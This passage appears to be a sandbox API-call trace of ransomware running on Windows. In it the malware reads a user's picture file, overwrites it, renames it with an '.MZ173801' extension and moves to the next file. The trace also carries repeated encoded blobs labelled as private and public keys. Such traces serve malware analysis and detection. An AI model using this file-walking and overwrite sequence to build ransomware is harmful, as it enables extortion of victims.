CasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0158.318] GetCurrentThreadId () returned 0xab4 [0158.318] GetCurrentThreadId () returned 0xab4 [0158.318] GetCurrentThreadId () returned 0xab4 [0158.318] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0158.318] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24e324c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0158.319] GetCurrentThreadId () returned 0xab4 [0158.319] GetCurrentThreadId () returned 0xab4 [0158.319] GetCurrentThreadId () returned 0xab4 [0158.319] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\PurPDfKeeDvp_IIQ.png" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\purpdfkeedvp_iiq.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0158.319] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0158.319] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0158.319] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x4df4 [0158.319] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0158.319] ReadFile (in: hFile=0x2f8, lpBuffer=0x24eb050, nNumberOfBytesToRead=0x4df4, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24eb050*, lpNumberOfBytesRead=0x19f74c*=0x4df4, lpOverlapped=0x0) returned 1 [0158.320] CloseHandle (hObject=0x2f8) returned 1 [0158.320] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\PurPDfKeeDvp_IIQ.png" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\purpdfkeedvp_iiq.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0158.321] WriteFile (in: hFile=0x2f8, lpBuffer=0x24f1080*, nNumberOfBytesToWrite=0x4df4, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24f1080*, lpNumberOfBytesWritten=0x19f758*=0x4df4, lpOverlapped=0x0) returned 1 [0158.322] CloseHandle (hObject=0x2f8) returned 1 [0158.323] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\PurPDfKeeDvp_IIQ.png" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\purpdfkeedvp_iiq.png"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\PurPDfKeeDvp_IIQ.png.MZ173801" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\purpdfkeedvp_iiq.png.mz173801")) returned 1 [0158.373] GetCurrentThreadId () returned 0xab4 [0158.373] GetCurrentThreadId () returned 0xab4 [0158.373] GetCurrentThreadId () returned 0xab4 [0158.373] GetCurrentThreadId () returned 0xab4 [0158.373] GetCurrentThreadId () returned 0xab4 [0158.373] GetCurrentThreadId () returned 0xab4 [0158.373] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82eae750, ftCreationTime.dwHighDateTime=0x1d5edf9, ftLastAccessTime.dwLowDateTime=0xedc56760, ftLastAccessTime.dwHighDateTime=0x1d5e9b4, ftLastWriteTime.dwLowDateTime=0xedc56760, ftLastWriteTime.dwHighDateTime=0x1d5e9b4, nFileSizeHigh=0x0, nFileSizeLow=0x170b6, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="SuC Il0UxSD20dVADwP.bmp", cAlternateFileName="SUCIL0~1.BMP")) returned 1 [0158.373] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0158.373] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0158.373] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\SuC Il0UxSD20dVADwP.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\suc il0uxsd20dvadwp.bmp"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82eae750, ftCreationTime.dwHighDateTime=0x1d5edf9, ftLastAccessTime.dwLowDateTime=0xedc56760, ftLastAccessTime.dwHighDateTime=0x1d5e9b4, ftLastWriteTime.dwLowDateTime=0xedc56760, ftLastWriteTime.dwHighDateTime=0x1d5e9b4, nFileSizeHigh=0x0, nFileSizeLow=0x170b6)) returned 1 [0158.373] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\SuC Il0UxSD20dVADwP.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\suc il0uxsd20dvadwp.bmp")) returned 0x20 [0158.373] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\SuC Il0UxSD20dVADwP.bmp", dwFileAttributes=0x80) returned 1 [0158.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0158.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24d21ec, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0158.376] GetCurrentThreadId () returned 0xab4 [0158.376] GetCurrentThreadId () returned 0xab4 [0158.376] GetCurrentThreadId () returned 0xab4 [0158.376] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0158.376] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24e324c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 